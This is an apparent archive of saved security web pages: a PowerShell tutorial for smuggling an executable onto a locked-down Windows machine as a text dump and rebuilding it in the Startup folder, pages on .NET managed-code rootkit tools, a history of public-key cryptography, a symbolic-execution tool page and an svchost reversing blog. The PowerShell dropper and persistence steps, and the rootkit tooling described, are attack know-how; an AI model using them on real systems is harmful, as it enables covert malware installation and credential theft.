Scenario: You find yourself in a limited Windows user environment without the
ability to transfer binary files over the network for one reason or another.
So this rules out using a browser, ftp.exe, mspaint \(yes, mspaint can be used
to transfer binaries\), etc. for file transfer. Suppose this workstation isn't
even connected to the Internet. What existing options do you have to drop
binaries on the target machine? There's the tried and true debug.exe method of
assembling a text file with your payload. This method limits the size of your
executable to 64K however since debug.exe is a 16-bit application. Also,
Microsoft has since removed debug from recent versions of Windows. Also,
Didier Stevens showed how easy it to embed executables in PDFs\[1\]. You can
convert executables to VBscript and embed in Office documents as well. These
apps won't necessarily be installed on every machine. Fortunately, Starting
with Windows 7 and Server 2008, Powershell is installed by default.  
  
Because Powershell implements the .NET framework, you have an incredible
amount of power at your fingertips. I will demonstrate one use case whereby
you can create an executable from a text file consisting of a hexadecimal
representation of an executable. You can generate this text file using any
compiled/scripting language you wish but since we're on the topic, I'll show
you how to generate it in Powershell:

  
PS > \[byte\[\]\] $hex = get-content -encoding byte -path
C:\temp\evil\_payload.exe  
PS > \[System.IO.File\]::WriteAllLines\("C:\temp\hexdump.txt",
\(\[string\]$hex\)\)  
  

The first line reads in each byte of an executable and saves them to a byte
array. The second line casts the bytes in the array as strings and writes them
to a text file. The resultant text file will look something like this:

  

77 90 144 0 3 0 0 0 4 0 0 0 255 255 0 0 184 0 0 0 0 0 0 0 64 0 0 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 232 0 0 0 14 31 186 14 0
180 9 205 33 184 1 76 205 33 84 104 105 115 32 112 114 111 103 114 97 109 32
99 97 110 110 111 116 32 98 101 32 114 117 110 32 105 110 32 68 79 83 32 109
111 100 101 46 13 13 10 36 0 0 0 0 0 0 0 0 124 58 138 68 29 84 217 68 29 84
217 68 29 84 217 99 219 41 217 66 29 84 217 99 219 47 217 79 29 84 217 68 29
85 217 189 29 84 217 99 219 58 217 71 29 84 217 99 219 57 217 125 29 84 217 99
219 40 217 69 29 84 217 99 219 44 217 69 29 84 217 82 105 99 104 68 29 84 217
0 0 0 0 0 0 0 0 0 0 0 0 0 0 ...

  
You can see that each byte is represented as a decimal \(77,90 = "MZ"\).  
  

Next, once you get the text file onto the target machine \(a teensy/USB HID
device would be an ideal use case\), Powershell can be used to reconstruct the
executable from the text file using the following lines:

  
PS > \[string\]$hex = get-content -path C:\Users\victim\Desktop\hexdump.txt  
PS > \[Byte\[\]\] $temp = $hex -split ' '  
PS >
\[System.IO.File\]::WriteAllBytes\("C:\ProgramData\Microsoft\Windows\Start
Menu\Programs\Startup\evil\_payload.exe", $temp\)  
  

The first line reads the hex dump into a string variable. The string is then
split into a byte array using <space> as a delimiter. Finally, the byte array
is written back to a file and thus, the original executable is recreated.  
  
While writing this article, I stumbled upon Dave Kennedy and Josh Kelley's
work with Powershell\[2\] where they stumbled upon this same method of
generating executables. In fact several Metasploit payloads use a similar,
albeit slicker method of accomplishing this using compression and base64
encoding. Please do check out the great work they've been doing with
Powershell.

  
1\. Didier Stevens, "Embedding and Hiding Files in PDF Documents," July 1,
2009, http://blog.didierstevens.com/2009/07/01/embedding-and-hiding-files-in-
pdf-documents/  
  
2\. Dave Kennedy and Josh Kelley "Defcon 18 PowerShell OMFG…", August 31,
2010, http://www.secmaniac.com/august-2010/powershell\_omfg/

Labels: powershell

# Managed Code Rootkits | AppSec.co.il
**Created:**| _4/20/2010 7:41:24 PM_  
---|---  
**Updated:**| _4/20/2010 7:42:06 PM_  
**Author:**| __  
**Tags:**| _rootkits bookmark security tools windows reversing windows
environment ToWatch_  
  

# Managed Code Rootkits

A Managed Code Rootkit \(MCR\) is a special type of malicious code that is
deployed inside an application level virtual machine such as those employed in
managed code environment frameworks – Java, .NET, Dalvik, Python, etc..  
Having the full control of the managed code VM allows the MCR to lie to the
upper level application running on top of it, and manipulate the application
behavior to perform tasks not indented originally by the software developer.
The MCR concept was introduced in major security conferences such as BlackHat,
DefCon, RSA, OWASP, CanSecWest, SOURCE, and others.

**Book**  
A book on this subject will be published soon by Syngress:

<img src='img/Temp2_5165.jpg' width='20%' height='20%' />

**Tool**  
ReFrameworker is a general purpose Framework modifier, used to reconstruct
framework Runtimes by creating modified versions from the original
implementation that was provided by the framework vendor. ReFrameworker
performs the required steps of runtime manipulation by tampering with the
binaries containing the framework's classes, in order to produce modified
binaries that can replace the original ones.  
It was developed to experiment with and demonstrate deployment of MCR
\(Managed Code Rootkits\) code into a given framework.  
Among its features:  
\- Performs all the required steps needed for modifying framework binaries
\(disassemble, code injection, reassemble, precompiled images cleaning, etc.\)  
\- Fast development and deployment of a modified behavior into a given
framework  
\- Auto generated deployers  
\- Modules: a separation between general purpose "building blocks" that can be
injected into any given binary, allowing the users to create small pieces of
code that can be later combined to form a specific injection task.  
\- Can be easily adapted to support multiple frameworks by minimal
configuration \(currently comes preconfigured for the .NET framework\)  
\- Comes with many "preconfigured" proof-of-concept attacks \(implemented as
modules\) that demonstrate its usage that can be easily extended to perform
many other things.

ReFrameworker, as a general purpose framework modification tool, can be used
in other contexts besides security such as customizing frameworks for
performance tuning, Runtime tweaking, virtual patching, hardening, and
probably other usages - It all depends on what it is instructed to do.  
<img src='img/Temp2_5164.jpg' width='30%' height='30%' />  
Download ReFrameworker: ReFrameworker\_V1.1.zip  
Download Source Code: ReFrameworker\_V1.1\_Source\_Code.zip

**Other material**  
Latest presentation from SOURCE conference \(April 2010, Boston\): SOURCE
BOSTON 2010 presentation slides  
Past video from Defcon conference \(July 2009, Las vegas\): Defcon 17
presentation video  
Whitepaper \(.NET specific\): .NET Framework Rootkits - Backdoors Inside Your
Framework

For more information please refer to:
http://applicationsecurity.co.il/Managed-Code-Rootkits.aspx

Attachment| Size  
---|---  
ReFrameworker\_V1.1.zip| 1.31 MB  
ReFrameworker\_V1.1\_Source\_Code.zip| 1.92 MB  
NET Framework rootkits - backdoors inside your framework - revised.pdf| 373.82
KB  
Managed Code Rootkits presentation \(SOURCE 2010\).pdf| 1.05 MB

# The Alternative History of Public-Key Cryptography

**Created:**| _1/24/2011 8:05:51 PM_  
---|---  
**Updated:**| _1/24/2011 8:06:14 PM_  
**Author:**| __  
**Tags:**| _crypto opinion History_  
  

## _The Alternative History of Public-Key Cryptography_

Over the past twenty years, Diffie, Hellman and Merkle have become world
famous as the cryptographers who invented the concept of public-key
cryptography, while Rivest, Shamir and Adleman have been credited with
developing RSA, the most beautiful implementation of public-key cryptography.
However, a recent announcement means that the history books are having to be
rewritten. According to the British Government, public-key cryptography was
originally invented at the Government Communications Headquarters \(GCHQ\) in
Cheltenham, the top-secret establishment that was formed from the remnants of
Bletchley Park after the Second World War. This is a story of remarkable
ingenuity, anonymous heroes and a government cover-up that endured for
decades.

The story starts in the late 1960s, when the British military began to worry
about the problem of key distribution. Looking ahead to the 1970s, senior
military officials imagined a scenario in which miniaturisation of radios and
a reduction in cost meant that every soldier could be in continual radio
contact with his officer. The advantages of widespread communication would be
enormous, but communications would have to be encrypted, and the problem of
distributing keys would be insurmountable. This was an era when the only form
of cryptography was symmetric, so an individual key would have to be securely
transported to every member of the communications network. Any expansion in
communications would eventually be choked by the burden of key distribution.
At the beginning of 1969, the military asked James Ellis, one of Britain's
foremost government cryptographers, to look into ways of coping with the key-
distribution problem.

Ellis was a curious and slightly eccentric character. He proudly boasted of
travelling halfway round the world before he was even born -- he was conceived
in Britain, but was born in Australia. Then, while still a baby, he returned
to London and grew up in the East End of the 1920s. At school his primary
interest was science, and he went on to study physics at Imperial College
before joining the Post Office Research Station at Dollis Hill, where Tommy
Flowers had built Colossus, the first codebreaking computer. The cryptographic
division at Dollis Hill was eventually absorbed into GCHQ and so on 1 April
1965 Ellis moved to Cheltenham to join the newly formed Communications-
Electronics Security Group \(CESG\), a special section of GCHQ devoted to
ensuring the security of British communications. Because he was involved in
issues of national security, Ellis was sworn to secrecy throughout his career.
Although his wife and family knew that he worked at GCHQ they were unaware of
his discoveries and had no idea that he was one the nation's most
distinguished codemakers.

Despite his skills as a codemaker, Ellis was never put in charge of any of the
important GCHQ research groups. He was brilliant, but he was also
unpredictable, introverted and not a natural teamworker. His colleague Richard
Walton recalled:

> He was a rather quirky worker, and he didn't really fit into the day-to-day
> business of GCHQ. But in terms of coming up with new ideas he was quite
> exceptional. You had to sort through some rubbish sometimes, but he was very
> innovative and always willing to challenge the orthodoxy. We would be in
> real trouble if everybody in GCHQ was like him, but we can tolerate a higher
> proportion of such people than most organisations. We put up with a number
> of people like him.
One of Ellis's greatest qualities was his breadth of knowledge. He read any
scientific journal he could get his hands on, and never threw anything away.
For security reasons, GCHQ employees must clear their desks each evening and
place everything in locked cabinets, which meant that Ellis's cabinets were
stuffed full with the most obscure publications imaginable. He gained a
reputation as a cryptoguru, and if other researchers found themselves with
impossible problems, they would knock on his door in the hope that his vast
knowledge and originality would provide a solution. It was probably because of
this reputation that he was asked to examine the key-distribution problem.

The cost of key distribution was already enormous, and would become the
limiting factor to any expansion in encryption. Even a reduction of 10 per
cent in the cost of key distribution would significantly cut the military's
security budget. However, instead of merely nibbling away at the problem,
Ellis immediately looked for a radical and complete solution. 'He would always
approach a problem by asking, "Is this really what we want to do?" ' says
Walton. 'James being James, one of the first things he did was to challenge
the requirement that it was necessary to share secret data, by which I mean
the key. There was no theorem that said you had to have a shared secret. This
was something that was challengeable.'

Ellis began his attack on the problem by searching through his treasure trove
of scientific papers. Many years later, he recorded the moment when he
discovered that key distribution was not an inevitable part of cryptography:

> The event which changed this view was the discovery of a wartime Bell
> Telephone report by an unknown author describing an ingenious idea for
> secure telephone speech. It proposed that the recipient should mask the
> sender's speech by adding noise to the line. He could subtract the noise
> afterwards since he had added it and therefore knew what it was. The obvious
> practical disadvantages of this system prevented it being actually used, but
> it has some interesting characteristics. The difference between this and
> conventional encryption is that in this case the recipient takes part in the
> encryption process . . . So the idea was born.
Noise is the technical term for any signal that impinges on a communication.
Normally it is generated by natural phenomena, and its most irritating feature
is that it is entirely random, which means that removing noise from a message
is very difficult. If a radio system is well designed, then the level of noise
is low and the message is clearly audible, but if the noise level is high and
it swamps the message, there is no way to recover the message. Ellis was
suggesting that the receiver, Alice, deliberately create noise, which she
could measure before adding it to the communication channel that connects her
with Bob. Bob could then send a message to Alice, and if Eve tapped the
communications channel she would be unable to read the message because it
would be swamped in noise. Eve would be unable to disentangle the noise from
the message. The only person who can remove the noise and read the message is
Alice, because she is in the unique position of knowing the exact nature of
the noise, having put it there in the first place. Ellis realised that
security had been achieved without exchanging any key. The key was the noise,
and only Alice needed to know the details of the noise.

In a memorandum, Ellis detailed his thought processes: 'The next question was
the obvious one. Can this be done with ordinary encipherment? Can we produce a
secure encrypted message, readable by the authorised recipient without any
prior secret exchange of the key? This question actually occurred to me in bed
one night, and the proof of the theoretical possibility took only a few
minutes. We had an existence theorem. The unthinkable was actually possible.'
\(An existence theorem shows that a particular concept is possible, but is not
concerned with the details of the concept.\) In other words, until this
moment, searching for a solution to the key-distribution problem was like
looking for a needle in a haystack, with the possibility that the needle might
not even be there. However, thanks to the existence theorem, Ellis now knew
that the needle was in there somewhere.

Ellis's ideas were very similar to those of Diffie, Hellman and Merkle, except
that he was several years ahead of them. However, nobody knew of Ellis's work
because he was an employee of the British Government and therefore sworn to
secrecy. By the end of 1969, Ellis appears to have reached the same impasse
that the Stanford trio would reach in 1975. He had proved to himself that
public-key cryptography \(or non-secret encryption, as he called it\) was
possible, and he had developed the concept of separate public-keys and
private-keys. He also knew that he needed to find a special one-way function,
one that could be reversed if the receiver had access to a piece of special
information. Unfortunately, Ellis was not a mathematician. He experimented
with a few mathematical functions, but he soon realised that he would be
unable to progress any further on his own.

At this point, Ellis revealed his breakthrough to his bosses. Their reactions
are still classified material, but in an interview Richard Walton was prepared
to paraphrase for me the various memoranda that were exchanged. Sitting with
his briefcase on his lap, the lid shielding the papers from my view, he
flicked through the documents:

> I can't show you the papers that I have in here because they still have
> naughty words like TOP SECRET stamped all over them. Essentially, James's
> idea goes to the top man, who farms it out, in the way that top men do, so
> that the experts can have a look at it. They state that what James is saying
> is perfectly true. In other words, they can't write this man off as a crank.
> At the same time they can't think of a way of implementing his idea in
> practice. And so they're impressed by James's ingenuity, but uncertain as to
> how to take advantage of it.
For the next three years, GCHQ's brightest minds struggled to find a one-way
function that satisfied Ellis's requirements, but nothing emerged. Then, in
September 1973, a new mathematician joined the team. Clifford Cocks had
recently graduated from Cambridge University, where he had specialised in
number theory, one of the purest forms of mathematics. When he joined GCHQ he
knew very little about encryption and the shadowy world of military and
diplomatic communication, so he was assigned a mentor, Nick Patterson, who
guided him through his first few weeks at GCHQ.

After about six weeks, Patterson told Cocks about 'a really whacky idea'. He
outlined Ellis's theory for public-key cryptography, and explained that nobody
had yet been able to find a mathematical function that fitted the bill.
Patterson was telling Cocks because this was the most titillating
cryptographic idea around, not because he expected him to try to solve it.
However, as Cocks explains, later that day he set to work: 'There was nothing
particular happening, and so I thought I would think about the idea. Because I
had been working in number theory, it was natural to think about one-way
functions, something you could do but not undo. Prime numbers and factoring
was a natural candidate, and that became my starting point.' Cocks was
beginning to formulate what would be known as the RSA asymmetric cipher.
Rivest, Shamir and Adleman discovered their formula for public-key
cryptography in 1977, but four years earlier the young Cambridge graduate was
going through exactly the same thought processes. Cocks recalls: 'From start
to finish, it took me no more than half an hour. I was quite pleased with
myself. I thought, "Ooh, that's nice. I've been given a problem, and I've
solved it." '

Cocks did not fully appreciate the significance of his discovery. He was
unaware of the fact that GCHQ's brightest minds had been struggling with the
problem for three years, and had no idea that he had made one of the most
important cryptographic breakthroughs of the century. Cocks's naivety may have
been part of the reason for his success, allowing him to attack the problem
with confidence, rather than timidly prodding at it. Cocks told his mentor
about his discovery, and it was Patterson who then reported it to the
management. Cocks was quite diffident and very much still a rookie, whereas
Patterson fully appreciated the context of the problem and was more capable of
addressing the technical questions that would inevitably arise. Soon complete
strangers started approaching Cocks the wonderkid, and began to congratulate
him. One of the strangers was James Ellis, keen to meet the man who had turned
his dream into a reality. Because Cocks still did not understand the enormity
of his achievement the details of this meeting did not make a great impact on
him, and so now, over two decades later, he has no memory of Ellis's reaction.

When Cocks did eventually realise what he had done, it struck him that his
discovery might have disappointed G.H. Hardy, one of the great English
mathematicians of the early part of the century. In his  _The Mathematician's
Apology_ , written in 1940, Hardy had proudly stated: 'Real mathematics has no
effects on war. No one has yet discovered any warlike purpose to be served by
the theory of numbers.' Real mathematics means pure mathematics, such as the
number theory that was at the heart of Cocks's work. Cocks proved that Hardy
was wrong. The intricacies of number theory could now be used to help generals
plan their battles in complete secrecy. Because his work had implications for
military communications, Cocks, like Ellis, was forbidden from telling anybody
outside GCHQ about what he had done. Working at a top-secret government
establishment meant that he could tell neither his parents nor his former
colleagues at Cambridge University. The only person he could tell was his
wife, Gill, since she was also employed at GCHQ.

Although Cocks's idea was one of GCHQ's most potent secrets, it suffered from
the problem of being ahead of its time. Cocks had discovered a mathematical
function that permitted public-key cryptography, but there was still the
difficulty of implementing the system. Encryption via public-key cryptography
requires much more computer power than encryption via a symmetric cipher like
DES. In the early 1970s, computers were still relatively primitive and unable
to perform the process of public-key encryption within a reasonable amount of
time. Hence, GCHQ were not in a position to exploit public-key cryptography.
Cocks and Ellis had proved that the apparently impossible was possible, but
nobody could find a way of making the possible practical.

At the beginning of the following year, 1974, Cocks explained his work on
public-key cryptography to Malcolm Williamson, who had recently joined GCHQ as
a cryptographer. The men happened to be old friends. They had both attended
Manchester Grammar School, whose school motto is  _Sapere aude_ , 'Dare to be
wise'. While at school in 1968, the two boys had represented Britain at the
Mathematical Olympiad in the Soviet Union. After attending Cambridge
University together, they went their separate ways for a couple of years, but
now they were reunited at GCHQ. They had been exchanging mathematical ideas
since the age of eleven, but Cocks's revelation of public-key cryptography was
the most shocking idea that Williamson had ever heard. 'Cliff explained his
idea to me,' recalls Williamson, 'and I really didn't believe it. I was very
suspicious, because this is a very peculiar thing to be able to do.'

Williamson went away, and began trying to prove that Cocks had made a mistake
and that public-key cryptography did not really exist. He probed the
mathematics, searching for an underlying flaw. Public-key cryptography seemed
too good to be true, and Williamson was so determined to find a mistake that
he took the problem home. GCHQ employees are not supposed to take work home,
because everything the do is classified, and the home environment is
potentially vulnerable to espionage. However, the problem was stuck in
Williamson's brain, so he could not avoid thinking about it. Defying orders,
he carried his work back to his house. He spent five hours trying to find a
flaw. 'Essentially I failed,' says Williamson. 'Instead I came up with another
solution to the problem of key distribution.' Williamson was discovering
Diffie-Hellman-Merkle key exchange, at roughly the same time that Martin
Hellman discovered it. Williamson's initial reaction reflected his cynical
disposition: 'This looks great, I thought to myself. I wonder if I can find a
flaw in this one. I guess I was in a negative mood that day.'

By 1975,James Ellis, Clifford Cocks and Malcolm Williamson had discovered all
the fundamental aspects of public-key cryptography, yet they all had to remain
silent. The three Britons had to sit back and watch as their discoveries were
rediscovered by Diffie, Hellman, Merkle, Rivest, Shamir and Adleman over the
next three years. Curiously, GCHQ discovered RSA before Diffie-Hellman-Merkle
key exchange, whereas in the outside world, Diffie-Hellman-Merkle key exchange
came first. The scientific press reported the breakthroughs at Stanford and
MIT, and the researchers who had been allowed to publish their work in the
scientific journals became famous within the community of cryptographers. A
quick look on the Internet with a search engine turns up 15 web pages
mentioning Clifford Cocks, compared to 1,382 pages that mention Whitfield
Diffie. Cocks's attitude is admirably restrained: 'You don't get involved in
this business for public recognition.' Wllliamson is equally dispassionate:
'My reaction was "Okay, that's just the way it is." Basically, I just got on
with the rest of my life.'

Williamson's only qualm is that GCHQ failed to patent public-key cryptography
When Cocks and Williamson first made their breakthroughs, there was agreement
among GCHQ management that patenting was impossible for two reasons. First,
patenting would mean having to reveal the details of their work, which would
have been incompatible with GCHQ's aims. Second, in the early 1970s it was far
from clear that mathematical algorithms could be patented. When Diffie and
Hellman tried to file for a patent in 1976, however, it was evident that they
could be patented. At this point, Williamson was keen to go public and block
Diffie and Hellman's application, but he was overruled by his senior managers,
who were not farsighted enough to see the digital revolution and the potential
of public-key cryptography. By the early 1980s Williamson's bosses were
beginning to regret their decision, as developments in computers and the
embryonic Internet made it clear that RSA and Diffie-Hellman-Merkle key
exchange would both be enormously successful commercial products. In 1996, RSA
Data Security, Inc., the company responsible for RSA products, was sold for
$200 million.

Although the work at GCHQ was still classified, there was one other
organisation that was aware of the breakthroughs that had been achieved in
Britain. By the early 1980s America's National Security Agency knew about the
work of Ellis, Cocks and Williamson, and it is probably via the NSA that
Whitfield Diffie heard a rumour about the British discoveries. In September
1982, Diffie decided to see if there was any truth in the rumour, and he
travelled with his wife to Cheltenham in order to talk to James Ellis face to
face. They met at a local pub, and very quickly Mary was struck by Ellis's
remarkable character:

> We sat around talking, and I suddenly became aware that this was the most
> wonderful person you could possibly imagine. The breadth of his mathematical
> knowledge is not something I could confidently discuss, but he was a true
> gentleman, immensely modest, a person with great generosity of spirit and
> gentility. When I say gentility, I don't mean old-fashioned and musty. This
> man was a  _chevalier_. He was a good man, a truly good man. He was a gentle
> spirit.
Diffie and Ellis discussed various topics, from archaeology to how rats in the
barrel improve the taste of cider, but whenever the conversation drifted
towards cryptography, Ellis gently changed the subject. At the end of Diffie's
visit, as he was ready to drive away, he could no longer resist directly
asking Ellis the question that was really on his mind: 'Tell me about how you
invented public-key cryptography?' There was a long pause. Ellis eventually
whispered: 'Well, I don't know how much I should say. Let me just say that you
people did much more with it than we did.'

Although GCHQ were the first to discover public-key cryptography, this should
not diminish the achievements of the academics who rediscovered it. It was the
academics who were the first to realise the potential of public-key
encryption, and it was they who drove its implementation Furthermore, it is
quite possible that GCHQ would never have revealed their work, thus blocking a
form of encryption that would enable the digital revolution to reach its full
potential. Finally, the discovery by the academics was wholly independent of
GCHQ's discovery, and on an intellectual par with it. The academic environment
is completely isolated from the top-secret domain of classified research, and
academics do not have access to the tools and secret knowledge that may be
hidden in the classified world. On the other hand, government researchers
always have access to the academic literature. One might think of this flow of
information in terms of a one-way function -- information flows freely in one
direction, but it is forbidden to send information in the opposite direction.

When Diffie told Hellman about Ellis, Cocks and Williamson, his attitude was
that the discoveries of the academics should be a footnote in the history of
classified research, and that the discoveries at GCHQ should be a footnote in
the history of academic research. However, at that stage nobody except GCHQ
NSA, Diffie and Hellman knew about the classified research, and so it could
not even be considered as a footnote.

By the mid-1980s, the mood at GCHQ was changing, and the management considered
publicly announcing the work of Ellis, Cocks and Williamson The mathematics of
public-key cryptography was already well established in the public domain, and
there seemed to be no reason to remain secretive. In fact, there would be
distinct benefits if the British revealed their groundbreaking work on public-
key cryptography. As Richard Walton recalls:

> We flirted with the idea of coming clean in 1984. We began to see advantages
> for GCHQ being more publicly acknowledged. It was a time when the government
> security market was expanding beyond the traditional military and diplomatic
> customer, and we needed to capture the confidence of those who did not
> traditionally deal with us. We were in the middle of Thatcherism, and we
> were trying to counter a sort of 'government is bad, private is good' ethos.
> So, we had the intention of publishing a paper, but that idea was scuppered
> by that blighter Peter Wright, who wrote  _Spycatcher_. We were just warming
> up senior management to approve this release, when there was all this hoo-ha
> about  _Spycatcher_. Then the order of the day was 'heads down, hats on'.
Peter Wright was a retired British intelligence officer, and the publication
of  _Spycatcher_ , his memoirs, was a source of great embarrassment to the
British government. It would be another 13 years before GCHQ eventually went
public -- 28 years after Ellis's initial breakthrough. In 1997 Clifford Cocks
completed some important unclassified work on RSA, which would have been of
interest to the wider community, and which would not be a security risk if it
were to be published. As a result, he was asked to present a paper at the
Institute of Mathematics and its Applications Conference to be held in
Cirencester. The room would be full of cryptography experts. A handful of them
would know that Cocks, who would be talking about just one aspect of RSA, was
actually its unsung inventor. There was a risk that somebody might ask an
embarrassing question, such as 'Did you invent RSA?' If such a question arose,
what was Cocks supposed to do? According to GCHQ policy he would have to deny
his role in the development of RSA, thus forcing him to lie about an issue
that was totally innocuous. The situation was clearly ridiculous, and GCHQ
decided that it was time to change its policy. Cocks was given permission to
begin his talk by presenting a brief history of GCHQ's contribution to public-
key cryptography.

On 18 December 1997, Cocks delivered his talk. After almost three decades of
secrecy, Ellis, Cocks and Williamson received the acknowledgement they
deserved. Sadly, James Ellis had died just one month earlier on 25 November
1997, at the age of seventy-three. Ellis joined the list of British cipher
experts whose contributions would never be recognised during their lifetimes.
Charles Babbage's breaking of the Vigenère cipher was never revealed during
his lifetime, because his work was invaluable to British forces in the Crimea.
Instead, credit for the work went to Friedrich Kasiski. Similarly, Alan
Turing's contribution to the war effort was unparalleled, and yet government
secrecy demanded that his work on Enigma could not be revealed.

In 1987, Ellis wrote a classified document that recorded his contribution to
public-key cryptography, which included his thoughts on the secrecy that so
often surrounds cryptographic work:

> Cryptography is a most unusual science. Most professional scientists aim to
> be the first to publish their work, because it is through dissemination that
> the work realises its value. In contrast, the fullest value of cryptography
> is realised by minimising the information available to potential
> adversaries. Thus professional cryptographers normally work in closed
> communities to provide sufficient professional interaction to ensure quality
> while maintaining secrecy from outsiders. Revelation of these secrets is
> normally only sanctioned in the interests of historical accuracy after it
> has been demonstrated that no further benefit can be obtained from continued
> secrecy.
  

# insecure » .NET-Sploit 1.0 – .NET Framework Rootkit

**Created:**| _7/30/2009 5:15:10 PM_  
---|---  
**Updated:**| _7/30/2009 5:15:21 PM_  
**Author:**| __  
**Tags:**| _rootkits reversing .Net_  
  

## .NET-Sploit 1.0 – .NET Framework Rootkit

<img src='img/Temp2_10403.gif' alt='.NET-Sploit 1.0' />A computer security
researcher has released a tool that can simplify the placement of difficult-
to-detect malicious software in Microsoft’s .Net framework on Windows
computers.

The tool, called .Net-Sploit 1.0, allows for modification of .Net, a piece of
software installed on most Windows machines that allows the computers to
execute certain types of applications.

.Net-Sploit allows a hacker to modify the .Net framework on targeted machines,
inserting rootkit-style malicious software in a place untouched by security
software.

“You’ll be amazed at how easy it is to devise an attack, For example, an
application that has an authentication mechanism could be attacked if the
tampered .Net framework were to intercept user names and passwords and send
them to a remote server”, said Erez Metula, who wrote this tool, during a
presentation at the Black Hat security conference in Amsterdam.

.Net-Sploit automates some of the arduous coding tasks necessary to corrupt
the framework, speeding up development of an attack. For example, it can help
pull a relevant DLL \(dynamic link library\) from the framework and deploy the
malicious DLL.

The advantage of corrupting the .Net framework is that an attacker could
clandestinely maintain control over the machine for a long time.

The focus here is on the .NET Framework, but the concepts can also be applied
to other platforms such as Java’s JVM.

**Download:** NET-Sploit 1.0.zip

**More Info:** .NET Framework Rootkits

# FuzzBALL: Vine-based Binary Symbolic Execution

**Created:**| _6/14/2013 8:09:51 AM_  
---|---  
**Updated:**| _6/23/2013 7:33:16 AM_  
**Author:**| __  
**Tags:**| _Practical Software Verification security tools reversing_  
  

# **V** ine-based Binary Symbolic Execution****

**FuzzBALL: Vine-based Binary Symbolic Execution**  
\[Overview\] \[Source Code\] \[Publications\] \[Mailing List\] \[Back to
BitBlaze \]

* * *
## Overview****

FuzzBALL is a symbolic execution tool for binary code, based on the BitBlaze
Vine  library**.** \(The name comes from the phrase "FUZZing Binaries with A
Little Language", where "fuzzing" is a common application of symbolic
execution to bug-finding, and the "little language" refers to the Vine
intermediate language that FuzzBALL uses for execution**.** Also "fuzzball" is
a common nickname for a small kitten, and FuzzBALL was \(originally\) intended
to be simpler and lighter-weight than some other symbolic execution
tools**.**\)

## Source Code****

The source code for FuzzBALL is available via a public Git version control
repository at GitHub **.**

## Publications****

Statically-Directed Dynamic Automated Test Generation

    Domagoj Babic, Lorenzo Martignoni, Stephen McCamant, and Dawn Song**.** In Proceedings of the ACM/SIGSOFT International Symposium on Software Testing and Analysis \(ISSTA\), July 2011**.**
  

Path-Exploration Lifting: Hi-Fi Tests for Lo-Fi Emulators

    Lorenzo Martignoni, Stephen McCamant, Pongsin Poosankam, Dawn Song, and Petros Maniatis**.** In Proceedings of the 17th International Conference on Architectural Support for Programming Languages and Operating Systems \(ASPLOS\), March 2012**.**
  

Transformation-aware Exploit Generation using a HI-CFG

    Dan Caselden, Alex Bazhanyuk, Mathias Payer, Laszlo Szekeres, Stephen McCamant and Dawn Song**.** Technical Report No**.** UCB/EECS-2013-85 May 16, 2013
## Mailing List and Contact****

We would like to hear if you are making use of FuzzBALL, if you run into any
bugs or problems, or if you have suggestions for feature additions**.** Please
subscribe to the bitblaze-users  mailing list \(via Google Groups\) and share
your experiences**.**

Back to BitBlaze  ****

# SVChost hacking from A to Z

**Created:**| _9/12/2010 10:39:18 AM_  
---|---  
**Updated:**| _9/12/2010 10:40:44 AM_  
**Author:**| _wishi_  
**Tags:**| _windows security windows environment awesome_  
  

### Designing two svchost services into one DLL

  
  
  
While reversing functions FindDll and AddDll , i got an idea.It was to design
a DLL which has 2 svchost services inside.  
So i have to go deeper into the mechanism of both of these functions.  
Both of these functions are called by function GetServiceMainFunctions which  
1\)Opens the svchost service parameters key.  
For example if the svchost service name is DHCP ,it opens
"HKLM\SYSTEM\CurrentControlSet\Services\Dhcp\Parameters".Under this key,a
value named "ServiceDLL" is found representing the full svchost service Dll
name.  
2\)The circular doubly linked list holding info about the loaded services dlls
is searched for a node with the same Dll name and the same service
name\(function FindDll\) .If the right node was not found in this list,another
function \(AddDll\) is called to creates a new node.The found node or the
newly-created node is made to point at the corresponding service
\_SERVICE\_ARRAY\_ELEMENT.  
<img src='img/X.JPG' />3\)Under the same key,GetServiceMainFunctions queries a
value called "ServiceMain" to get the svchost service configured name for
function ServiceMain .  
4\)function GetServiceDllFunction is called to Load the ServiceDll into
svchost address space,if it is not loaded. And resolve ServiceMain and
SvchostPushServiceGlobals.  
<img src='img/1234.JPG' />  
//---------------------------------<img src='img/123.JPG'
/>//------------------------------  
<img src='img/xxxxxxxxxx.JPG' />  
Given the reversed code of both FindDll and AddDll,we will try to design one
DLL with two svchost services inside.  
  
In this post i will refer to the first service as srv1 and the second service
as srv2.  
srv1 terminates any Taskmgr instances\(just for educational purposes\) and
srv2 will terminate any Regedit instances.  
Method1  
The ServiceMain for srv1 will be "ServiceMain". And for srv2 will be
"ServiceMain2".  
So our Dll will export both ServiceMain ,ServiceMain2 and
SvchostPushServiceGlobals.  
Each service will have its own Handler.Both services will have the same
StopCallback.  
  
For installing both services , you will need this .reg file. And the compiled
Dll.  
\(Dll has to be copied to your system32 folder\).restart needed  
Reg file.  
Source code svchost.h svc.def svc.cpp  
Method2  
we will design on Dll which exports only ServiceMain and
SvchostPushServiceGlobals.  
ServiceMain here will act the ServiceMain for both services.given its
argv\[0\]..  
Reg file  
Source code svchost.h svc.def svc.cpp  

Posted by waliedassar at 12:44 AM 0 comments <img
src='img/9351_icon18_email.gif' width='18' height='13' /><img
src='img/icon18_edit_allbkg.gif' width='18' height='18' />

Email This BlogThis\! Share to Twitter Share to Facebook Share to Google Buzz

## Thursday, September 9, 2010

### Designing a simple brute-force algorithm

I decided to write a brute-force algorithm.As a start , it will be ,of course
, a simple one.  

This algorithm lists all possible character combinations of all lengths
starting from 4 to 22.  
you can extend its functionality to include space characters and non-
alphanumeric characters.  
I also decided to give this code the ability to save its stoppoint and restore
it on next start.  
i.e if your program stops at the combination 002,the next time it starts ,it
will resume at 003 and so on.\(this property is implemented in most password
recovery programs which use brute-force attacks\).  
  
Here is the source code  
  
This console application runs for 20 seconds generating the in-order
combinations.Just before exit ,it saves its stoppoint.  
\(you can change this code freely to meet your needs\)  
this code is just for demonstration.

Posted by waliedassar at 12:41 PM 0 comments <img
src='img/9351_icon18_email.gif' width='18' height='13' /><img
src='img/icon18_edit_allbkg.gif' width='18' height='18' />

Email This BlogThis\! Share to Twitter Share to Facebook Share to Google Buzz

## Sunday, September 5, 2010

### Svchost from A to Zinc part5

In this post i am gonna talk about function ServiceStarter which i consider
the backbone of svchost.  
First i have to remind you with some point.  
1\)svchost main function \(say,DllMain\) is the entry point for svchost
itself,so it is called once per instance.  
2\)svchost ServiceStarter. It is the entry point for any svchost service
